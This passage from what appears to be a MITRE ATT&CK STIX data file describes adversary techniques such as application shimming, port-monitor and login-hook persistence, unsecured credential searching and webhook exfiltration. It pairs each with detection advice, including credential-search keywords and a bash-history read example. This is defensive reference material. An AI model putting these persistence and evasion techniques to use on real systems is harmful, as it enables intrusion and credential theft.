            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "created": "2017-05-31T21:30:38.511Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036",
                    "external_id": "T1036"
                },
                {
                    "source_name": "Twitter ItsReallyNick Masquerading Update",
                    "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.",
                    "url": "https://x.com/ItsReallyNick/status/1055321652777619457"
                },
                {
                    "source_name": "Elastic Masquerade Ball",
                    "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"
                },
                {
                    "source_name": "LOLBAS Main Site",
                    "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.",
                    "url": "https://lolbas-project.github.io/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:26.186Z",
            "name": "Masquerading",
            "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Oleg Kolesnikov, Securonix",
                "Nick Carr, Mandiant",
                "David Lu, Tripwire",
                "Felipe Esp\u00f3sito, @Pr0teus",
                "Elastic",
                "Bartosz Jerzman",
                "Menachem Goldstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Containers",
                "ESXi"
            ],
            "x_mitre_version": "1.8",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Process: Process Metadata",
                "Service: Service Creation",
                "Service: Service Metadata",
                "Process: Process Creation",
                "Image: Image Metadata",
                "Scheduled Job: Scheduled Job Metadata",
                "User Account: User Account Creation",
                "File: File Metadata",
                "Scheduled Job: Scheduled Job Modification",
                "Command: Command Execution",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
            "created": "2020-01-24T14:56:24.231Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/011",
                    "external_id": "T1546.011"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "FireEye Application Shimming",
                    "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.",
                    "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf"
                },
                {
                    "source_name": "Black Hat 2015 App Shim",
                    "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
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            "modified": "2025-04-25T14:46:29.459Z",
            "name": "Application Shimming",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",
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                {
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                    "phase_name": "privilege-escalation"
                },
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Process: Process Creation"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
            "created": "2020-02-04T12:47:23.631Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552",
                    "external_id": "T1552"
                },
                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
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            "modified": "2025-04-15T19:58:26.362Z",
            "name": "Unsecured Credentials",
            "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)),  or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)",
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                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
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            "x_mitre_detection": "While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments  indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\n\nMonitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Containers",
                "Network Devices",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Access",
                "Application Log: Application Log Content",
                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Access",
                "User Account: User Account Authentication"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
            "created": "2020-01-24T19:46:27.750Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/010",
                    "external_id": "T1547.010"
                },
                {
                    "source_name": "Bloxham",
                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
                },
                {
                    "source_name": "AddMonitor",
                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "modified": "2025-04-15T19:58:26.452Z",
            "name": "Port Monitors",
            "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
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                "Travis Smith, Tripwire",
                "Harun K\u00fc\u00dfner"
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            "x_mitre_detection": "Monitor process API calls to <code>AddMonitor</code>.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>, paying particular attention to changes in the \"Driver\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "Module: Module Load",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--438c967d-3996-4870-bfc2-3954752a1927",
            "created": "2022-07-08T21:04:03.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/008",
                    "external_id": "T1070.008"
                },
                {
                    "source_name": "Volexity SolarWinds",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                },
                {
                    "source_name": "mailx man page",
                    "description": "Michael Kerrisk. (2021, August 27). mailx(1p) \u2014 Linux manual page. Retrieved June 10, 2022.",
                    "url": "https://man7.org/linux/man-pages/man1/mailx.1p.html"
                },
                {
                    "source_name": "ExchangePowerShell Module",
                    "description": "Microsoft. (2017, September 25). ExchangePowerShell. Retrieved June 10, 2022.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes"
                },
                {
                    "source_name": "Microsoft OAuth Spam 2022",
                    "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T21:56:59.810Z",
            "name": "Clear Mailbox Data",
            "description": "Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code>  or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Liran Ravich, CardinalOps"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Office Suite"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "File: File Deletion",
                "File: File Modification",
                "Command: Command Execution",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0",
            "created": "2020-01-10T16:01:15.995Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1037/002",
                    "external_id": "T1037.002"
                },
                {
                    "source_name": "Login Scripts Apple Dev",
                    "description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html"
                },
                {
                    "source_name": "LoginWindowScripts Apple Dev",
                    "description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022.",
                    "url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts"
                },
                {
                    "source_name": "Wardle Persistence Chapter",
                    "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
                    "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
                },
                {
                    "source_name": "S1 macOs Persistence",
                    "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
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            "modified": "2025-04-15T22:46:43.054Z",
            "name": "Login Hook",
            "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
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                "File: File Modification",
                "Process: Process Creation",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c",
            "created": "2023-09-01T21:03:13.406Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1659",
                    "external_id": "T1659"
                },
                {
                    "source_name": "EFF China GitHub Attack",
                    "description": "Budington, B. (2015, April 2). China Uses Unencrypted Websites to Hijack Browsers in GitHub Attack. Retrieved September 1, 2023.",
                    "url": "https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack"
                },
                {
                    "source_name": "ESET MoustachedBouncer",
                    "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 1, 2023.",
                    "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"
                },
                {
                    "source_name": "Kaspersky Encyclopedia MiTM",
                    "description": "Kaspersky IT Encyclopedia. (n.d.). Man-in-the-middle attack. Retrieved September 1, 2023.",
                    "url": "https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/"
                },
                {
                    "source_name": "Kaspersky ManOnTheSide",
                    "description": "Starikova, A. (2023, February 14). Man-on-the-side \u2013 peculiar attack. Retrieved September 1, 2023.",
                    "url": "https://usa.kaspersky.com/blog/man-on-the-side/27854/"
                }
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            "modified": "2025-04-15T22:10:29.343Z",
            "name": "Content Injection",
            "description": "Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)",
            "kill_chain_phases": [
                {
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                    "phase_name": "initial-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
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            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Process: Process Creation",
                "File: File Creation"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "created": "2017-05-31T21:30:47.843Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055",
                    "external_id": "T1055"
                },
                {
                    "source_name": "GNU Acct",
                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
                    "url": "https://www.gnu.org/software/acct/"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "RHEL auditd",
                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
                },
                {
                    "source_name": "ArtOfMemoryForensics",
                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
                },
                {
                    "source_name": "Microsoft Sysmon v6 May 2017",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
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                {
                    "source_name": "Chokepoint preload rootkits",
                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
                    "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
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            "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ",
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                    "url": "https://attack.mitre.org/techniques/T1567/004",
                    "external_id": "T1567.004"
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                {
                    "source_name": "Checkmarx Webhooks",
                    "description": " Jossef Harush Kadouri. (2022, March 7). Webhook Party \u2014 Malicious packages caught exfiltrating data via legit webhook services. Retrieved July 20, 2023.",
                    "url": "https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191"
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                    "source_name": "CyberArk Labs Discord",
                    "description": "CyberArk Labs. (2023, April 13). The (Not so) Secret War on Discord. Retrieved July 20, 2023.",
                    "url": "https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord"
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                    "source_name": "Discord Intro to Webhooks",
                    "description": "D. (n.d.). Intro to Webhooks. Retrieved July 20, 2023.",
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                    "source_name": "Microsoft SQL Server",
                    "description": "Microsoft Threat Intelligence. (2023, October 3). Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement. Retrieved October 3, 2023.",
                    "url": "https://www.microsoft.com/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/"
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                {
                    "source_name": "Talos Discord Webhook Abuse",
                    "description": "Nick Biasini, Edmund Brumaghin, Chris Neal, and Paul Eubanks. (2021, April 7). https://blog.talosintelligence.com/collab-app-abuse/. Retrieved July 20, 2023.",
                    "url": "https://blog.talosintelligence.com/collab-app-abuse/"
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                {
                    "source_name": "Push Security SaaS Attacks Repository Webhooks",
                    "description": "Push Security. (2023, July 31). Webhooks. Retrieved August 4, 2023.",
                    "url": "https://github.com/pushsecurity/saas-attacks/blob/main/techniques/webhooks/description.md"
                },
                {
                    "source_name": "RedHat Webhooks",
                    "description": "RedHat. (2022, June 1). What is a webhook?. Retrieved July 20, 2023.",
                    "url": "https://www.redhat.com/en/topics/automation/what-is-a-webhook"
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            "name": "Exfiltration Over Webhook",
            "description": "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)",
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                    "external_id": "T1139"
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                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
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                    "url": "https://attack.mitre.org/techniques/T1205",
                    "external_id": "T1205"
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                {
